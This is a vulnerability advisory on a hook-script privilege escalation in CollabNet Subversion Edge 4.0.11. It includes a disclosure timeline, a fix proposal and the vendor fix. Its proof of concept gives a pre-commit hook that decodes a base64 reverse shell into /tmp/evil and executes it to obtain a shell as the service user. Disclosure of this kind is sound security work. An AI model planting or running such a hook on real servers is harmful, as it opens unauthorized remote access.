CollabNet Subversion Edge Management Frontend Privilege Escalation

`# Vuln Title: The CollabNet Subversion Edge Management Frontend SVN hook scripts  
# privilege escalation  
#  
# Date: 28.06.2015  
# Author: otr  
# Software Link: https://www.open.collab.net/downloads/svnedge  
# Vendor: CollabNet  
# Version: 4.0.11  
# Tested on: Fedora Linux  
# Type: Privilege escalation design flaw  
#  
# CVE : Requested  
# Risk: High  
#  
# CVSS Vector: AV:N/Ac:L/Au:S/C:C/I:C/A:C/E:POC/RL:W/RC:UC  
# CVSS Base Score: 9.0  
# CVSS Temporal Score: 7.0  
#  
# Status: pubic/fixed  
# Fixed version: 5.0  
  
2014-10-09 Flaw Discovered  
2014-10-20 Vendor contacted  
2014-10-21 Vendor response  
2014-12-08 Vendor fix proposal  
2014-12-08 Extension of embargo to 19.4.2015  
2015-05-04 Extension of embargo until release of version 5.0  
2015-05-18 Release of version 5.0 and public disclosure  
  
Summary:  
  
The CollabNet Subversion Edge Management Frontend allows authenticated  
administrators to escalate their privileges by creating and executing hook  
scripts. As a result they are able to execute arbitrary commands as the user the  
Management Frontend is running under without authenticating with valid  
credentials.  
  
POC:  
  
1. Add a pre commit hook with the following content:  
#!/bin/sh  
echo "$base64_encoded_reverseshell" | /usr/bin/base64 -d > /tmp/evil  
/bin/chmod +x /tmp/evil  
/tmp/evil  
exit 0  
  
2. Edit a file of a SVN repository  
3. Do: svn commit  
4. Get a reverse shell running as the service user of Subversion Edge  
  
Fix proposal:  
  
Provide a configuration option inaccessible from the Web Gui that disables this  
feature.  
  
Addtionally implement an authentication prompt that requires the administrator  
to authenticate as the user running (which is typically a service user)  
the management frontend web app for performing actions on hook scripts.  
  
Vendor fix:  
  
The hook script editor is now disabled by default. It is enabled via the  
security.properties file  
`